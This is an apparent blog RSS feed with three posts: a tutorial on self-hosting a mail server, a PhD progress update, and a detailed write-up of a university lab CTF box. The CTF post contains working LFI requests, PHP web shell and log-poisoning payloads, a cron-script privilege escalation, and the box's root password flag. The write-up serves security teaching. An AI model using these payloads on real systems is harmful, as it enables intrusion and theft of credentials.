    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    +
    + + June 2026 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/june_2026/ + Tue, 23 Jun 2026 20:00:07 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/june_2026/ + <p>Ok, it&rsquo;s been so so so long! I haven&rsquo;t been writing, once again, because I&rsquo;ve been too busy with fixing my life. +Let me summerize these past many months:</p> +<ul> +<li>I finished my coursework for my prep phase</li> +<li>I was added to a colleagues project and we submited it to IMC</li> +<li>I submitted a poster to TMA, and I will be present it at the end of this month (June)</li> +<li>I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&amp;P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.</li> +<li>I am a tutor at data networks, and I think I&rsquo;m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.</li> +</ul> +<hr> +<div class="signature-block" style="margin-top:1rem"> + <p><strong>Downloads:</strong> + <a href="http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/june_2026.md">Markdown</a> · + <a href="http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/june_2026.md.asc">Signature (.asc)</a> + </p> + Ok, it’s been so so so long! I haven’t been writing, once again, because I’ve been too busy with fixing my life. +Let me summerize these past many months:

    +
      +
    • I finished my coursework for my prep phase
    • +
    • I was added to a colleagues project and we submited it to IMC
    • +
    • I submitted a poster to TMA, and I will be present it at the end of this month (June)
    • +
    • I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.
    • +
    • I am a tutor at data networks, and I think I’m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSoC1Q//XZwEZ0kzJq6JgjAfq1YJSLYWHAgNE8lHsvw2JW+kwn4wPw3Zysg+a7ln
    +R13un1k4hCKw2k2x/2hyciMcl9V2faPbqkL2c2A6urZPVGFfhSxWc4y2OdXaXdle
    +m/P+jyj1Yl8QOWlWOhJ7nhKEkZfRkkgNp56bQL+IYa3T1xKdCkiiPEsXAGQKfKrw
    +BoR8CKJkqyabxseM6fdVFIzGSZ3Bo6PYyDHArExjQ97FgS6nEHdklwF3bRuO8gkP
    +eRLhedsKWd5LvLa347dusMOKbAHcQQQavQb2uyN/ZlcAz2y8MyfbdmnLNq0CjFMd
    +MGug0h1+d4omYSw7aXlpHMfOWCbiAs5BEgDvV9vd+p/PXbH765VzTnuzeMmIlRlm
    +eloSCjex5kxiUvQ3G14usmAbON799etujTIJh5Mj9ol9jXDyh0/k228GC4RNF5K5
    +QEMPVoeGkte0CVM+C/PkK+QcGHxdasuZQEVTbCuN2qS6WxiFIpglsmagcoblO2+t
    +zvDnk6ySTPrtiGlVqAZye1Pjhs7Xy3dq8VT+H2TUhZplgRpDXPlayUzPkZGvEcUr
    +Mg03w3/uXCP8Q0ibQllSQioluUJ7l+oLaRZTly1tpZCCbWha11upK8ZKc03jMApM
    +fQy/wpq+VFKZsB4clVAQoabPr+Q+JWAe0OOWcdrpp8FXlKfIkPc=
    +=hIg9
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/june_2026.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/june_2026.md.asc
    +gpg --verify june_2026.md.asc june_2026.md
    +  
    +
    + + +]]>
    +
    + + A TU Wien CTF where Sysops Klaus left the keys in the cron job + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. + +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
